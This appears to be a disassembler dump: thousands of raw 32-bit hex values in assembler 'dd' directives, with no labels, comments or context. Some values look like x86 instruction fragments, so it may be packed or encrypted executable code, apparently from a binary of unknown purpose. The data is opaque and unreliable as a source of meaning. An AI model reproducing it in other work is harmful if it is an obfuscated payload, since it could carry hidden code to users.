		dd 81BAE70Dh, 0D4A75AB5h, 0C188CDE3h, 0FAADBB93h, 97343040h
		dd 6F9CCF7Dh, 58A5BBACh, 0C1C34CC2h, 6FA5E142h,	388B511Dh
		dd 70EFE093h, 3173C0F9h, 0BC4C9F35h, 2B9B42C1h,	0DD5B5315h
		dd 40F7AB95h, 5EB1CB3Fh, 3324E714h, 5B88041Dh, 7B6EEDC9h
		dd 9CA0552h, 7D30D528h,	415D448Ch, 3C623F89h, 0B3A3E37Eh
		dd 653DD5A5h, 5D0h, 2BE3BBE7h, 2AE2C4E1h, 28E0C6E0h, 24DCC2DEh
		dd 25DDC9DAh, 574CBBB5h, 524D974Fh, 5A4A944Ch, 574A944Ch
		dd 746F8F47h, 9979B65Eh, 0B02DABB3h, 0D2C386B3h, 4E2C9A19h
		dd 37EEB8EDh, 0B508C896h, 93A8A667h, 8C1CCFBBh,	6FFF9F02h
		dd 56E6C0E5h, 7E22D7CCh, 0E0B39020h, 47DC0050h,	900E93h
		dd 7C805023h, 795869E7h, 96AD7288h, 27DA427Dh, 227C256Fh
		dd 5990892h, 18012575h,	0AA3C847h, 96E23431h, 0C0DEC343h
		dd 3665F208h, 620F7053h, 5A000002h, 0C4E2C40Ch,	0BA045734h
		dd 0C3D9CA89h, 0BB9A7550h, 0A8615205h, 669D6A92h, 227FDF4Ch
		dd 3C0FEC7Ch, 0F3B0F8E9h, 1B43C2B3h, 28569991h,	6FB971C4h
		dd 39817234h, 20AA3A6Ch, 5C4D2086h, 66A7DE46h, 8DE0934Ch
		dd 0E7BA02FDh, 0F74A27B7h, 66A77EA9h, 1D81204Ch, 0E342865Fh
		dd 3C14AC30h, 4DCh, 1FD7C7DBh, 1ED6D0D5h, 1CD4D2D4h, 18D0CED2h
		dd 19D1D5CEh, 6340C7A9h, 5E418B43h, 663E8840h, 633E8840h
		dd 6863833Bh, 9978AA52h, 0A4219FB3h, 0D2C386B3h, 0D0CED119h
		dd 75C42F7Dh, 0BE71BB9Ah, 83FDA42Eh, 669D876Dh,	0E1C5DF4Ch
		dd 0FEB6893Ch, 21B1EDB4h, 4940A97h, 478B90B4h, 0F69B605Ah
		dd 902C3229h, 0FD13CCBDh, 4C66AB17h, 8C44974Ah,	48BCE176h
		dd 4CE5646Ah, 0A925CA24h, 16881797h, 9456A986h,	179h, 7A247DDFh
		dd 41654189h, 0CDE3D4B1h, 0B581A927h, 8414671Ah, 3FF7A7FAh
		dd 4A3B1E2Bh, 93C54334h, 0B141F4BBh, 6C4D8F59h,	1801FD4Ch
		dd 2A4FF47h, 0D6F463AFh, 0D2516A41h, 41F44376h,	0A8BEAFECh
		dd 4C6C7A40h, 2DEF42F5h, 3Ah, 51949B1Ah, 2C26BA0Eh, 86B346D9h
		dd 86169016h, 0CFE5D6A9h, 0BB93C172h, 0D0B0AC43h, 0BA704C2Eh
		dd 145C57E7h, 72C0138Bh, 4C6CAFB6h, 5011A16h, 6A42B852h
		dd 0B422h, 247D6D00h, 4360EA7Ah, 0C4F37263h, 881E85C5h
		dd 0E0641BF8h, 6FFF527Eh, 2C7A2C74h, 0A94859D9h, 992CC8FAh
		dd 634C01AAh, 0A32DBD90h, 0D0E8A0FEh, 0B5818D62h, 0D7C82978h
		dd 58C0D6C7h, 0DB581B7h, 14CF875Ah, 871FDACCh, 0DFB28F1Fh
		dd 6CBB724Fh, 70DFF69Bh, 93A0EA3Dh, 0FBA9BFB0h,	7EBB9652h
		dd 1192DACBh, 1093DD95h, 1079D896h, 831B30EFh, 35BABh
		dd 58465C00h, 574F56A0h, 5551559Fh, 514D539Dh, 52544F99h
		dd 0BF462A9Ah, 0C00AC2E4h, 0BD07BFDFh, 0BD07BFE7h, 0E202BAE4h
		dd 7B2BD1E7h, 0A01EB399h, 0DDC40C23h, 15431C1h,	0CC842281h
		dd 0C77F1F82h, 7A247D6Ah, 0FAA7EFEAh, 0E43714A4h, 0A9613D64h
		dd 0B4A56495h, 93D7859Eh, 7707BABBh, 6C7AC71Fh,	0B0A9CD4Ch
		dd 0B5A66596h, 82847DFCh, 5E6AD402h, 285747C9h,	70C39616h
		dd 7E6B0922h, 0D38B3E42h, 7A247D76h, 5D4160EAh,	0A16091A5h
		dd 663868B0h, 6B0C2213h, 0CCBB93C5h, 0B3F3B3FBh, 6C4DBF65h
		dd 2CFFB24Ch, 0F3B3F33Bh, 0A3338663h, 6C4D994Bh, 6EF3EF4Ch
		dd 41D679DEh, 2FFB6Ah, 0B3460000h, 19D2C386h, 0A9A24A60h
		dd 0E497B581h, 0C1864391h, 4B7BB93h, 41C81C74h,	0CDC04C6Ch
		dd 35881E85h, 3126263Bh, 436A41D7h, 0C6h, 7A247D8Eh, 634360EAh
		dd 465849D3h, 0A940D55h, 732C27B7h, 8E7400F4h, 0BB09FB9Bh
		dd 0B5810855h, 0D1D55508h, 156845D5h, 0DA920C95h, 810F10C2h
		dd 67376AB5h, 0ADA1F776h, 0E705791Bh, 0F92DC94h, 52E2C4E2h
		dd 0BE12A275h, 0C7DDCE8Dh
		dd 0BB9360B2h, 24822383h, 2CE4B794h, 3728EB18h,	78D24921h
		dd 5849FC42h, 5B139310h, 56149211h, 3ADD97FDh, 0F91FF78Fh
		dd 0BE000001h, 0B802BAE4h, 0B701B9EDh, 0B5FFB7EFh, 0B1FBB3EBh
		dd 8CFCB4F2h, 248221E4h, 217D226Ch, 21851F69h, 1C821F69h
		dd 33494464h, 0B3997DCDh, 7D850280h, 7EC88026h,	428A7B23h
		dd 37EF4264h, 8775FD7Ch, 1181C1F3h, 81C115FBh, 0C29548B5h
		dd 86B3DC6Fh, 0FBCD2C3h, 30BB93C1h, 5395ED7Dh, 394C6C41h
		dd 91778D46h, 0C44C6C41h, 94129111h, 32D24741h,	6A41D725h
		dd 0AD4Fh, 247D9A00h, 6241897Ah, 0D761F144h, 0F24ADACCh
		dd 0B581AE40h, 36C3E129h, 1164376Fh, 0D68E1091h, 0F989158Ch
		dd 0C4B594A5h, 6C30D5AEh, 0FFB76A44h, 0AFBDEEBh, 7B8E19F4h
		dd 8A7B2E42h, 8D456142h, 1D0319D2h, 50465886h, 1FF2B4F0h
		dd 0F9F079Fh, 445FDF32h, 63A1A462h, 3BD33ADDh, 11F63h
		dd 940A9800h, 931392DCh, 911591DBh, 8D118FD9h, 8E188BD5h
		dd 0FB0A66D6h, 0FC46FEA8h, 0F943FBA3h, 0F943FBABh, 1E3EF6A8h
		dd 7CE70D23h, 0DC5AB399h, 80267D5Fh, 0CE237EC8h, 603DCDD1h
		dd 4D549C8Dh, 0CFCFD151h, 570F623Fh, 514D549Ch,	8D0C6BFEh
		dd 791E8FA0h, 40663E9Bh, 0AD00D3B0h, 9A2A742Dh,	550D9110h
		dd 60513041h, 9A37AB4Ah, 758B44BBh, 4C66DF8Fh, 17BC0FC2h
		dd 0A4BA7364h, 4C66DF7Ch, 5BEB3EF1h, 7F21D0D1h,	0A1058F1Fh
		dd 0A75F3205h, 8A76DECh, 0B497D21h, 2BE2A484h, 378A061Ch
		dd 0C3B4EAB7h, 350CF40Ah, 8E414C66h, 0EE53AB3Bh, 0A8FDFAECh
		dd 39F2B7ACh, 0CA7CFD23h, 980E951Eh, 6DED40F3h,	0F7B26A34h
		dd 21B1F5AFh, 99418D44h, 5CACEABFh, 68188909h, 0CAEAAA52h
		dd 19EC9F1Eh, 0FDA1FF89h, 8A8F936Dh, 52435B46h,	485E9B0Ah
		dd 1EF1CE5Eh, 0A65EB18Eh, 0A8446CEBh, 74B5B3C2h, 7E47432h
		dd 0A5F47D34h, 0F95A9B72h, 237B26A6h, 50509893h, 8EE1BE4Eh
		dd 3C0h, 13AE2300h, 0E979257Dh,	0CC5C425Fh, 0B4446242h
		dd 9929752Ah, 8212940Fh, 6BFBABF8h, 4FDFBFE1h, 35C5E1C5h
		dd 1CACFAABh, 6A06839h,	1C890000h, 1E56824h, 2C890000h
		dd 57B76824h, 0C890000h, 62B85024h, 510618CCh, 0CD89C189h
		dd 0CC685859h, 89000000h, 4812424h, 424h, 0EC815900h, 4
		dd 8F242C89h, 34FF0841h, 0C4815924h, 4,	5D2434FFh, 0E904C483h
		dd 0FFFA7442h, 0D6FAACEEh, 0B8C84952h, 618D65Fh, 0E0FFC503h
		dd 3BBFFF9Eh, 6D562E7Dh, 3C2C40D0h, 12E8h, 0EFA20D00h
		dd 0DA3B5748h, 438285E7h, 0CA0D95CAh, 0E929243Fh, 11h
		dd 705EDA20h, 67B7C1CDh, 4990AEEBh, 4A818E1Eh, 0E0B75ACDh
		dd 6A93C281h, 0BF0F0000h, 0E9F62BDFh, 7, 44EC076Ch, 0FFE60A88h
		dd 0F88B1634h, 0C820F58h, 60000000h, 1FCF8166h,	7E0CBA7Ch
		dd 816174CDh, 0C8CB9CE8h, 0DB816617h, 0C08196D2h, 775875F8h
		dd 22F38166h, 7EC08160h, 6650F75Fh, 386CE981h, 10BB5350h
		dd 5F08A1BCh, 6632048Fh, 0B5B733BFh, 0E7EE8152h, 0F19C90Bh
		dd 0C681D9BFh, 19C90BE3h, 0A060BF66h, 9658FE81h, 850FFFFFh
		dd 1Eh,	0F60F560h, 87h,	0E9616100h, 34h, 281B98DCh, 0C641AD04h
		dd 0C1BAF195h, 13E920E6h, 64000000h, 5A55F176h,	0A412AB42h
		dd 0EDBE148Dh, 4AB636FBh, 5CE9647Ch, 6AFFFFFFh,	2A1F24A5h
		dd 0F7279297h, 0DE8h, 0EB251D00h, 291E2A74h, 9D451378h
		dd 0C68B4071h, 0D8B0F59h, 60000000h, 0BBA3DF81h, 816659F6h
		dd 619906F1h, 61D9C181h, 0C2800000h, 0C0EFBE13h, 0C681732Eh
		dd 8CD1575Eh, 0FB631FFh, 51F3815Bh, 6652F7E2h, 0EB81D18Bh
		dd 387763EFh, 8E9h, 0A5213900h,	4C6A9529h, 1F3819Bh, 8B3078A7h
		dd 0BF6653C2h, 18FA67Ah, 9DAB97BFh, 4E98373h, 4B4C27B8h
		dd 850F4E57h, 1Bh, 28E0Fh, 0C18B0000h, 21E9h, 1C197300h
		dd 0B0024EA6h, 0DE908DE8h, 8195387Ch, 54A931F0h, 0FF96E92Ch
		dd 9D83FFFFh, 0DBF164AFh, 26E9E5E9h, 0CC000000h, 10621Ch
		dd 8 dup(0)
		dd 4B8E900h, 0B2680000h, 0E90618D9h, 0FFF9A751h, 18DA1168h
		dd 0A747E906h, 5D68FFF9h, 0E90618DBh, 0FFF9A73Dh, 0D472DED1h
		dd 0E886F0E4h, 9E00F8h,	16B41A10h, 2BC93126h, 0FCF163BEh
		dd 0F06F694h, 241D0DABh, 3C3626C4h, 0E04140DEh,	1DF476Fh
		dd 0F1435676h, 0AFB21A0Fh, 0F6A1FFF9h, 0C2C52920h, 0E184026Ch
		dd 0F0F586Fh, 2E98B7EFh, 7C27BAB1h, 70E16AF3h, 6FE97148h
		dd 4E760957h, 5D6FE971h, 0D132A50Fh, 8C69FB6Dh,	766A9203h
		dd 817875FBh, 66D01E1Dh, 0B88E3987h, 0DF05AC4h,	0FB7690BCh
		dd 0FEFC875h, 2FE9E43Bh, 0A03D9DEh, 0DA0740AAh,	0AD000002h
		dd 525982ADh, 16B324CFh, 769FB2Fh, 0C76CBFB9h, 0A8989E88h
		dd 0C63222A5h, 0BD396A63h, 31C961C7h, 0E2381586h, 149D6572h
		dd 4EE67BA3h, 0CA34826Dh, 0E2463DEBh, 0EEF189DFh, 5E099893h
		dd 611D6CEDh, 797FF167h, 0EA622EE0h, 80CEAD17h,	0A705FFD5h
		dd 0C11F1909h, 0D1D02CCFh, 51F6D97Dh, 31Ah, 0C462CEC1h
		dd 0D876E0D4h, 0F08EF0E8h, 6A40A00h, 1BB92116h,	0ECE153AEh
		dd 0FFF6E684h, 140DFD9Bh, 2C2616B4h, 0D03130CEh, 1E0375Fh
		dd 0E1334676h, 2E8C865Ch, 0EE6BD52Bh, 48B964FFh, 69F1DEA7h
		dd 976D1866h, 0AC9C3AA2h, 0FB4C4FB7h, 962FD1DCh, 0EEE03E38h
		dd 7F61E0FBh, 0BB660BEEh, 20000002h, 3323C12Dh,	4737D53Fh
		dd 5F4FED4Fh, 75650369h, 0D7A1880h, 0E34B40B2h,	0FA5E5545h
		dd 13736C5Ch, 2D8B8575h, 0BE2F908Fh, 7601E196h,	6A4092A5h
		dd 345CCD63h, 426FE907h, 9BE9E84Ah, 46E75803h, 1B69F1DFh
		dd 0C1D5BA9h, 79E300B2h, 0F8494C9Ah, 7601DCCCh,	8184EEE2h
		dd 7073D1CBh, 0E65535AEh, 83573710h, 0DE36542Ch, 0F0544B21h
		dd 1A74D86h, 0FF30000h,	0FEB4B715h, 7308A604h, 0CD3EE978h
		dd 69FB1E10h, 9FF0F341h, 75FB2273h, 1EF2D2ABh, 0DE2F99C7h
		dd 450Eh, 636AB400h, 0C3C435E0h, 4A69FB11h, 0A941A59Ch
		dd 0CF2F28FEh, 5318265h, 1B75FB1Eh, 4BABD27h, 0F3A9AC0Ah
		dd 41979AFAh, 9302E29Bh, 8204E4BDh, 6D52B8ACh, 87CE1CA6h
		dd 9875DF77h, 0DE2FD541h, 0BB88h, 150F2E00h, 9FEB4B7h
		dd 0FB924CA5h, 9C342F03h, 8BE9E399h, 7AD8D288h,	0F55351DCh
		dd 7016FE9h, 0FDFD2596h, 0EF606FE9h, 6FE9FEC7h,	3F8988D6h
		dd 0E99C38EFh, 6C049C33h, 9C3239CEh, 0E9F6032Bh, 24BC0A6Fh
		dd 9D680879h, 59A769FEh, 8CB425AEh, 9375FD4Bh, 0F4544D45h
		dd 0A6319BF1h, 0D573DBD0h, 9688F0E5h, 7334C3C9h, 6F04A98Ch
		dd 6C000001h, 7F6F0D79h, 9383218Bh, 0AB9B399Bh,	0C1B14FB5h
		dd 59C664CCh, 2F978CFEh, 46AAA191h, 5FBFB8A8h, 79D7D1C1h
		dd 0A7BDCDBh, 7601E2E2h, 0F84D6E9h, 173CB61Ah, 0B39E916Dh
		dd 0E9491A42h, 3BD3216Fh, 2B22F8A3h, 0EFDF5DC7h, 0A5F997F5h
		dd 0CC8E865Ch, 6ED870D6h, 3B3E9C96h, 8F2D8B85h,	0C570F3FAh
		dd 0D6D663Ch, 0D74AB40Ah, 69FB4BFEh, 153DAE0Fh,	7875FB54h
		dd 0FB54DF07h, 0A1A0EE75h, 3A10BB53h, 57E9E145h, 0CF359A2h
		dd 0C133D674h, 0D7D05A03h, 8A1E7477h, 0E3EB4BBAh, 258C98FDh
		dd 50C32DC5h, 75FC0024h, 44E2403Ah, 0DD7CBA1h, 1518B018h
		dd 887D55BFh, 6568C6C0h, 4F52BAAFh, 1EC961F9h, 0EAED5148h
		dd 0A2472A94h, 0A2h, 0E0636A50h, 0AC3AAC35h, 0F16FDD7Bh
		dd 5C5FC7BCh, 91046E06h, 69F209ECh, 234BBC1Dh, 317601FAh
		dd 7CD2D53Bh, 0EC972F7Dh, 6D153C7Ah, 6A733Dh, 0AF6D671Dh
		dd 0FC5255B7h, 0BF30B964h, 76019D97h, 5655B3ADh, 30209E08h
		dd 84D5D836h, 7FAC5E4Fh, 582707BEh, 7262005Eh, 6E960778h
		dd 7D804B5Eh, 0DE94972Fh, 0CFB786E8h, 90A2E5E6h, 463FF5F8h
		dd 332DE3E6h, 6E2951C2h, 0E230804Bh, 6DDE474Ah,	804B6E45h
		dd 0A7600654h, 0BF58C7h, 0F9575120h, 13716B5Bh,	86B10h
		dd 95190000h, 0D73F340Ah, 1C0F316Dh, 0FDF7ADB0h, 0EDE69C9Fh
		dd 0DDD48A8Dh, 0CBC07679h, 0B5AA6063h, 9E944A4Dh, 877F3538h
		dd 786C2225h, 504D0B0Eh, 4055854h, 83000000h, 48704E8h
		dd 89535C24h, 4C381E3h,	83000000h, 1C8704EBh, 1C895C24h
		dd 37C36824h, 34890000h, 0C2BE5624h, 890618D8h,	24348BF3h
		dd 5404C483h, 8124348Bh, 4C4h, 4EC8300h, 8F241C89h, 34FF0846h
		dd 0C4815E24h, 4, 5B2434FFh, 0E904C483h, 0FFF9A2ADh, 0FAA4D1C3h
		dd 545A0F9Eh, 0F1B865B4h, 30618DCh, 20E0FFC5h, 0D90CF2ECh
		dd 4646A340h, 0CE4FBA62h, 51672985h, 5F5727B2h,	294854D3h
		dd 0EF6BAEDFh, 0C96F54FBh, 5C7C7A6Fh, 9E6FDEA8h, 0F92D8F53h
		dd 0A8141BAAh, 942A612Ch, 25311FA5h, 0FC482850h, 9811A074h
		dd 3B2B9A35h, 0A564873Ah, 6B18ABAFh, 0A6188763h, 534C683Ch
		dd 105D2E38h, 0F5413B42h, 0E9706B9Ch, 29h, 5BF66C7Ah, 9	dup(0)
		dd 5F9E900h, 14070000h,	261A0AA8h, 362E1EBCh, 504636D4h
		dd 675C4CEAh, 95F461FFh, 2CCA3227h, 43E1453Ch, 5CFA5A53h
		dd 7614726Ch, 7DA51677h, 8C7601E4h, 0D02D879h, 0FFF3BA5h
		dd 9A0CB715h, 0AA8927D0h, 1F897D96h, 0C42EC61Ch, 0CE362BE1h
		dd 0EF594D23h, 0AE2C96ECh, 0BB66C4BEh, 8A8DEBE5h, 31E7CA34h
		dd 6DD6D937h, 0B133FAFBh, 8631A106h, 0E984ED15h, 44AEFC6Fh
		dd 0B6AE786Ch, 999CFAF4h, 6813AB43h, 9DB7ECF6h,	4EB80283h
		dd 5ABEB56Bh, 43ADA157h, 8B6B2440h, 0E6C67D1Ch,	426ADB64h
		dd 496FE9DBh, 0BFB991FBh, 0BA30D01h, 24847D6Dh,	160DE386h
		dd 0B1C51EB2h, 0C5349474h, 2A8A835Bh, 4BB5A97Fh, 0A588F248h
		dd 9194F8EFh, 0CC9B7B3Ah, 0C7EF60D3h, 0D66FE919h, 0AF52F088h
		dd 42C9D26h, 0B6FE919h,	19022ABDh, 0BB096FE9h, 6ACAC3h
		dd 0CDD02E28h, 0A035F264h, 0A3A60800h, 0B75DB94Dh, 2DA00Ah
		dd 0B16FE972h, 0EF461AFAh, 36D81DE5h, 61h, 8E865CDCh, 0F0EAC22Ch
		dd 143E8F92h, 2A6FE907h, 17CDD032h, 0FABCBF1Dh,	0DBD2A181h
		dd 0C980DF77h, 6DDE67E9h, 6FE90745h, 0BF9C0654h, 0D81D7A68h
		dd 2B91875Dh, 2F68D228h, 1, 0B11B0FD5h,	9A04F8AEh, 85EBE197h
		dd 8E6E2582h, 2965CBBFh, 272B62F6h, 3828C65Eh, 9F42E03Eh
		dd 56FD1C9h, 0B21A0FC9h, 777046AFh, 0C6BE1417h,	26FE68D2h
		dd 0A9C5C832h, 86A39406h, 0BBAE86DAh, 1D0B051h,	1606A40Ch
		dd 5BBBE1Ch, 14A8AB0Dh,	67D95B3Bh, 52D7EFA0h, 4CACA539h
		dd 266D4AB4h, 4DD81E80h, 7Fh, 8F865CF3h, 6A6DD7CBh, 10797C14h
		dd 0E907779Fh, 0A038866Fh, 1695E36h, 0EE5048FEh, 0F7D78EEBh
		dd 2DCB3328h, 35E0483Dh, 0AAA3695Fh, 59AFB24Ah,	60560CEFh
		dd 8A63F7FAh, 808FD6AAh, 78B6D81Dh, 5C000000h, 7B21A0Fh
		dd 634D3495h, 1882B0D9h, 0D243CC35h, 6FE96DAAh,	21F963B1h
		dd 0FC5C828h, 0F8AEB11Bh, 0D6989B03h, 680E7D5Dh, 774DCFAFh
		dd 0DE891D7Fh, 8368D12h, 2A1FF761h, 0FD024C2h, 9406B11Bh
		dd 56605B29h, 0B295FFB3h, 0E9753461h, 4E2EE56Fh, 0AAD243CCh
		dd 0B16FE975h, 0C51CF963h, 0BAD81DE8h, 6998C031h, 46A76FE9h
		dd 0E969ADD5h, 0D66EBC6Fh, 1336Ch, 0FD90000h, 340AB517h
		dd 0EFE4DC3Ah, 0C42E8487h, 73312BE1h, 0DD37197Fh, 9910E870h
		dd 0F666901h, 0A9A17050h, 3006A947h, 7BD1D43Ah,	0F7999411h
		dd 33650485h, 790CCF5Bh, 6FE91951h, 0C7720A58h,	19A5CD3Eh
		dd 53B46FE9h, 0E919BAE2h, 0DB73C16Fh, 1C75E671h, 0C169FB3Eh
		dd 258FF5EBh, 3BA39846h, 0A47CE638h, 205D0B2Dh,	37EDF088h
		dd 5141DF3Dh, 0A5F6F957h, 75FB877Bh, 0C84A2AE3h, 0A862F156h
		dd 117B77CAh, 5DCE3F39h, 75FBB135h, 0C05EF644h,	0F465D6D0h
		dd 75FBB1CCh, 0D8E4A13Eh, 0D3D211A7h, 35CD2B25h, 0EAE49A9Dh
		dd 140BE18Ch, 0ED57ADB0h, 0F95D540Ah, 0E64840F6h, 0EDCD8CE3h
		dd 8767207Eh, 0C260BEB8h, 304676CDh, 16DBDDEh, 3E140000h
		dd 7AE3E644h, 0FBC7E109h, 29AE875h, 0D35C5C98h,	0E9073A62h
		dd 0EE50486Fh, 489695EBh, 7042C9Dh, 0BD0B6FE9h,	4CD7D653h
		dd 494218A1h, 0E590E6E9h, 0E9074C74h, 9B05536Fh, 0FB33DF28h
		dd 0DDE02E69h, 7A6F2D27h, 21B90F12h, 3B999383h,	0C5D21E90h
		dd 591328Bh, 4EA4A711h,	0D3F422B6h, 7308C0A5h, 76702609h
		dd 0C55DC1B8h, 0B2140CC2h, 9F01F9AFh, 0E7C7809Ch, 81611A78h
		dd 0D12F29FFh, 0E1487CCEh, 0C1639605h, 0D53B3129h, 3A127CD2h
		dd 4F44E240h, 0DE3038F8h, 523Fh, 6F6AE500h, 8C24827Ch
		dd 8D8258E1h, 21CC2225h, 0E90788B0h, 0DF49976Fh, 16F9646Ch
		dd 3529FF10h, 348261CBh, 6B8E031h, 0D4CEEFE9h, 0C6BD7376h
		dd 4B025F62h, 7FF8FC6Bh, 9D2C2B9Fh, 0F87981F2h,	3E149016h
		dd 0F8ECE446h, 0F745248Eh, 817A59h, 6A280000h, 345CCD63h
		dd 3B6FE907h, 39AA55EDh, 69FB1B24h, 2A8A8359h, 8867D127h
		dd 8781373Ah, 0A19B8B29h, 0ED85EFE3h, 237A99EAh, 33EC75FBh
		dd 308A8453h, 8F4CE45h,	0FB993136h, 58C96766h, 75FBF130h
		dd 0FFF9F13Fh, 0ED5E09A1h, 7004C5FBh, 2B93885Eh, 8968D228h
		dd 0B51E903Bh, 4A79E49Ah, 29DFC22Ch, 77CED12Fh,	6964D8B8h
		dd 871F837Ah, 2AE153DCh, 6ED6616Ah, 0B2A41781h,	0BD69FC8Fh
		dd 6A7DD16Fh, 0C435E063h, 69F1DBD2h, 82E2DBB1h,	0E0BF297Fh
		dd 0DFD98F92h, 0F9F3E381h, 46DE463Bh, 6C56F243h, 0D5CC3820h
		dd 1BB31D11h, 9696218h,	5131EA06h, 0AC8C43E2h, 0E360542Ah
		dd 0DF5C4A72h, 6B0351CBh, 0D0A81268h, 0EADA78D6h, 0D98F92F0h
		dd 0C47A7DE3h, 0AE6467CFh, 9D5356B4h, 0E63C3FA9h, 80EFCF88h
		dd 6E683EE7h, 2505A610h, 60FE5C56h, 951C7670h, 0BADDC4D6h
		dd 25A6F488h, 148563D3h, 3D4797Ch, 82000000h, 1C0F5995h
		dd 0FDF7ADB0h, 0EDE69C9Fh, 0DDD48A8Dh, 0CBC07679h, 0B5AA6063h
		dd 9E944A4Dh, 877F3538h, 786C2225h, 534D0B0Eh, 0C381E389h
		dd 4, 8704EB83h, 895C241Ch, 0FE682434h,	89000014h, 0D6682414h
		dd 89000011h, 5350241Ch, 0A36443BBh, 3EBC12Ah, 79F3814Bh
		dd 0C13CE30Bh, 0C38102EBh, 44D097C2h, 355BD889h, 5526AC39h
		dd 5458C289h, 81241C8Bh, 4C4h, 4EC8100h, 89000000h, 34812414h
		dd 0FC69FB24h, 8438F12h, 0FB087381h, 8B12FC69h,	8952241Ch
		dd 4C281E2h, 81000000h,	4C2h, 24148700h, 24148B5Ch, 81E18951h
		dd 4C1h, 4C18100h, 87000000h, 0E95C240Ch, 0FFF99C19h, 0D0962028h
		dd 8A96DA68h, 0B8EB2073h, 618E349h, 0E0FFC503h,	5C92FF47h
		dd 0E8A8A24h, 518294B1h, 40B39E32h, 0E4BE8D8Dh,	6A0618h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 0BF50D8C3h, 259BFD8Fh, 5E9h,	725B0300h, 8D89D22Fh, 61209A1h
		dd 10E9h, 0D38DFD00h, 1B5C34F6h, 0CBA55B9Ch, 0C245B67Bh
		dd 585C7EAh, 0DC061205h, 8B000069h, 0CD9D8BFAh,	0C706120Ch
		dd 121BD985h, 6, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 0F1E4351Eh, 0A0EA385Bh
		dd 31858B0Ah, 8B061230h, 49B5FFDFh, 8906122Ah, 122E158Dh
		dd 3195FF06h, 3106121Bh, 1211DD8Dh, 0FF006A06h,	1219CD95h
		dd 0EBC08B06h, 92CD733Bh, 63052975h, 0A1A39C03h, 834A1739h
		dd 0F73F132Ah, 2ECCE5EAh, 95455BFCh, 22DCDBFEh,	54A250D9h
		dd 5609131Ch, 0E1CC190h, 312B801h, 4B29E37Dh, 667A45DEh
		dd 63688F65h, 0AE8h, 0C5293500h, 33086C3Dh, 0E9110C41h
		dd 7, 13059908h, 58600740h, 15F5B58Bh, 0C0810612h, 5A3Ch
		dd 0E850Fh, 0E9500000h,	7, 72F267A8h, 5A869B60h, 166C68h
		dd 0F59D0B00h, 5906122Bh, 8BD9BF0Fh, 61B52938h,	81061207h
		dd 1A082DF7h, 81D0B653h, 5D0FAFEFh, 81B3B251h, 1E9274F7h
		dd 0C3816662h, 38892DA7h, 301611BEh, 3E8831Dh, 5AD18A52h
		dd 2ABE6648h, 1E981CBh,	0F000000h, 0FFFFBE85h, 8D2952FFh
		dd 61222E1h, 478D8D5Ah,	6A0618E6h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0C2C6C353h
		dd 0CE6B4D2Dh, 840F5Ch,	89000000h, 1209A18Dh, 68B0F06h
		dd 1000000h, 1203F58Dh,	95896006h, 6121451h, 2890Fh, 0FE8B0000h
		dd 585C761h, 0D0061205h, 8B000074h, 121C95BDh
		dd 0D985C706h, 6121Bh, 89000000h, 122B0DBDh, 0D1B5FF06h
		dd 6A06120Ch, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 60E8C356h, 890F9FF1h, 0
		dd 0E4DB58Bh, 95FF0612h, 6121B31h, 15659D31h, 6A0612h
		dd 19CD95FFh, 0C08B0612h, 46A569EBh, 9190C682h,	0DB84E4B2h
		dd 0CEEB6B2h, 7453DB4h,	2ACE512Fh, 2ABA40B0h, 0A593C264h
		dd 0EC3D4573h, 0C402DAh, 0FF662426h, 23EE9716h,	0A77D5FC5h
		dd 0A9C47159h, 835EAE7h, 580D03E2h, 8B79822Bh, 0C4107CF6h
		dd 1DE9031Eh, 24D99E3Ch, 0C97E7113h, 0E8E306DDh, 79262F46h
		dd 0E72A8FB7h, 4F0CD715h, 5646B110h, 8D51FDC7h,	18E7498Dh
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 0A18D895Dh, 0E9061209h, 0Dh, 9B8B6C26h
		dd 44D69403h, 3F35FB5Ah, 585C739h, 0F8061205h, 0F00006Ah
		dd 85C7C1B7h, 6121BD9h,	0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 13C35747h
		dd 0E5AA5C95h, 0F080078Ch, 0F1B5FF36h, 8906122Bh, 122BE19Dh
		dd 3195FF06h, 0BA06121Bh, 34B343E1h, 95FF006Ah,	61219CDh
		dd 5FEBC08Bh, 1E2D6DF3h, 0A5D3C0Ah, 0CD1DBB9h, 7F4C0E01h
		dd 8F25392Fh, 8B7F0828h, 510994CCh, 186C6D00h, 0E7053599h
		dd 0E9F1E276h, 0DCEADCA3h, 0DD061A3h, 0A84F34D7h, 6EF801Ah
		dd 0F36E26Dh, 68997582h, 0D0BDEFDDh, 54232FC9h,	30C4325Fh
		dd 0B4D215A8h, 812D4E2Bh, 922A806Fh, 5D434BDCh,	8D2178F7h
		dd 18E8478Dh, 99BD8906h, 8906122Dh, 1209A18Dh, 0C5E38006h
		dd 50585C7h, 59500612h,	0BD890000h, 61222ADh, 1BD985C7h
		dd 612h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h,	44810424h
		dd 150424h, 55450000h, 0E88F40C3h, 9, 6C06BC24h, 19CA6F6Bh
		dd 11BD8BE5h, 5E061213h, 6ADB5FFh, 6A0612h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 0E409C1C3h
		dd 95FFF895h, 6121B31h,	26859589h, 6A0612h, 19CD95FFh
		dd 0C08B0612h, 0A4064EEBh, 33624131h, 1A7D7823h, 909F53C3h
		dd 6C770810h, 0CBC3D20Ah, 67C4F749h, 0D98AD4AEh, 9DD7ECE8h
		dd 1A49445Bh, 0F1BF5FF7h, 62FF123Ch, 0CBCBD5D1h, 86D70FB1h
		dd 9C3E22CBh, 0DA7FD12Ch, 0FF05FD93h, 7FFE51BFh, 0A2C0E6E1h
		dd 9FA25DA4h, 5E8h, 548BE700h, 31B9B287h, 58403E0Ch, 0CDD9589h
		dd 0C0810612h, 5FF1h, 1058D8Bh,	680612h, 0B6000000h, 0BE85E48h
		dd 96000000h, 0C6507D1Eh, 887941F6h, 0D98BB229h, 303C8B59h
		dd 30BD8D8Bh, 0F7810612h, 29B1E07Fh, 29C99589h,	0EF810612h
		dd 336AB3E5h, 0D7F38166h, 4FC781A2h, 662D3187h,	3C89DA8Bh
